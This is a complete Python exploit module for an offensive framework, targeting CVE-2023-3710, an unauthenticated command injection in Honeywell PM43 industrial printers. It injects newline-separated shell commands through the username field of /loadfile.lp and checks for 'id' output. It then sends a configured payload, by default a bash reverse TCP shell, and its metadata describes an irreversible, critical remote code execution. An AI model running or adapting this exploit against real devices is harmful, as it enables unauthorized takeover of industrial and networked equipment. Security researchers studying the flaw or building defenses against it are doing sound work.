Honeywell PM43 Command Injection (CVE-2023-3710)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2023-3710 — Honeywell PM43 printer unauthenticated command injection."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Honeywell PM43 Command Injection (CVE-2023-3710)",
        "description": (
            "Exploits CVE-2023-3710 in Honeywell PM43 industrial printers before "
            "firmware P10.19.050004: newline injection in loadfile.lp Configure "
            "runs self.payload as the embedded Linux user."
        ),
        "author": ["vpxuser", "KittySploit Team"],
        "cve": ["CVE-2023-3710"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2023-3710",
            "https://github.com/vpxuser/CVE-2023-3710-POC",
        ],
        "platform": Platform.LINUX,
        "arch": [Arch.ARM, Arch.X86],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "honeywell",
            "pm43",
            "printer",
            "iot",
            "command-injection",
            "unauthenticated",
            "rce",
            "cve-2023-3710",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["honeywell", "pm43"],
                "endpoint_pattern_any": ["/loadfile.lp"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "loadfile.lp username injection"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": ["scanner/http/cve_2023_3710_detect"],
            },
        },
    }

    port = OptPort(80, "Honeywell PM43 HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)

    _PATH = "/loadfile.lp?pageid=Configure"
    _UID_RE = re.compile(r"uid=\d+\([^\)]+\)\s+gid=\d+\([^\)]+\)")

    def _build_body(self, command: str) -> str:
        injected = f"x%0a{command};pwd;cat+/etc/*-release%0a"
        return f"username={injected}&userpassword=1\n"

    def _exec(self, command: str) -> tuple[bool, str]:
        response = self.http_request(
            method="POST",
            path=self._PATH,
            data=self._build_body(command),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        if not response or int(response.status_code or 0) != 200:
            return False, ""
        body = response.text or ""
        return bool(self._UID_RE.search(body)), body

    def check(self):
        ok, body = self._exec("id")
        if ok:
            match = self._UID_RE.search(body)
            return {
                "vulnerable": True,
                "reason": f"Command injection confirmed: {match.group(0) if match else 'id'}",
                "confidence": "high",
            }
        return {
            "vulnerable": False,
            "reason": "loadfile.lp injection probe did not return uid output",
            "confidence": "medium",
        }

    def run(self):
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if not command:
            print_error("Set a payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp)")
            return False

        print_status("CVE-2023-3710 — Honeywell PM43 command injection")
        ok, body = self._exec("id")
        if not ok:
            print_error("Target does not appear vulnerable")
            self.not_vulnerable()
            return False

        match = self._UID_RE.search(body)
        print_success(f"Vulnerability confirmed: {match.group(0) if match else 'id'}")
        self._exec(command)
        print_success("Payload dispatched — check listener for session")
        self.vulnerable()
        return True